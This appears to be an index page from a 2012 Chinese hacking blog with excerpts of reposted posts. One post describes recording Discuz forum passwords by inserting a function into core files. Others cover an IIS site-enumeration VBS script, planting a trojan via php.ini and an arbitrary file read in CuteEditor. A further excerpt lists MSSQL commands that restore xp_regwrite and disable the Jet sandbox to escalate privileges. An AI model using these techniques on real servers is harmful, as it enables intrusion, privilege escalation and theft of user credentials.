Discuz密码记录

作者：admin 发布于：2012-3-12 18:07 Monday 分类：网络转载

12Mar

DZ记录密码，我自己做了份代码。
include/common.inc.php 里面插一个自定义函数。
我选择放在 41-53行。dz7.1-72 include/login.func.php (49-51行) | dz7.0 是在根目录的logging.php

阅读全文>>

标签: Discuz

评论(0) 引用(65) 浏览(48289)

IIS Virtual Web Viewe.vbs

作者：admin 发布于：2012-3-12 18:05 Monday 分类：网络转载

12Mar

On Error Resume Next
WScript.Echo "*******************GetIISInfo msn:slls124@gmail.com*******************"
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
If Err <> 0 Then
WScript.Quit (1)...

阅读全文>>

评论(0) 引用(50) 浏览(21146)

利用PHP.ini挂马

作者：admin 发布于：2012-3-12 17:52 Monday 分类：网络转载

12Mar

  本来这两天研究PHPIDS，使用文件是：当要在防止页面攻击时，可在页面的头部include防攻击文件，就像通用防注入文件。我们可以用三种情况来办到：
1、在每个文件内引用。这样的文件是可以，不过如果一个网站内有几百个文件的话就不方便了。
2、在共同包含文件内引用一下，比如 config.inc.php。这是一个好办法，也是目前市场上比较流行的做法。
3、 在php.ini中引用。在配置文件内引用的话，将影响到所以的网站，包含所有页面，这就像当年流行的一些免费空间商，当你免费开通一个ftp空间，上传 网站以后，空间内会出现广告一样。不知道是不是这种方法，但是目的是一样的。这样做的好处是：如果是一个公司或者是一个企业内部网站的话，即安全，维护也 方便。

前两种方法大家都清楚，第三种就是在php.ini中，找到此节：

; Automatically add files be...

阅读全文>>

标签: php.ini

评论(0) 引用(54) 浏览(21587)

Cute Editor for ASP.NET 0day

作者：admin 发布于：2012-3-12 17:43 Monday 分类：.NET

12Mar

一、漏洞描述：
     CuteEditor for ASP.NET是建立在Html基础之上，最简单易用、功能最强大的所见即所得Asp.net在线编辑器。 CuteEditor可以帮助Asp.net开发者轻松的对原来文本框(Textarea)中的内容(包括文字、图片等Html内容)进行编辑，更重要得 是这些内容编辑的实现是所见即所得方式。 CuteEditor还集成了文件(包括图片、文档等)上传、媒体(包括视频、声音等)文件直接插入等对你来说非常实用的功能模块。
   但是在 Load.ashx 文件中，未对 file 参数进行处理，可以加载任意文件。

二、官方地址：
      http://cutesoft.net/
  ...

阅读全文>>

标签: CuteEditor 0day

评论(0) 引用(425) 浏览(24129)

MSSQL沙盒提权测试

作者：admin 发布于：2012-3-12 16:56 Monday 分类：MSSQL

12Mar

如果扩展被删除，先恢复对注册表的读写存储。

dbcc addextendedproc ('xp_regread','xpstar.dll')

dbcc addextendedproc ('xp_regwrite','xpstar.dll')

修复沙盒的保护模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--

　　查看'SandBoxMode'值是否已经变成0了。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

调用沙盒模式

select *...

阅读全文>>

标签: mssql 沙盒 提权

评论(0) 引用(51) 浏览(54568)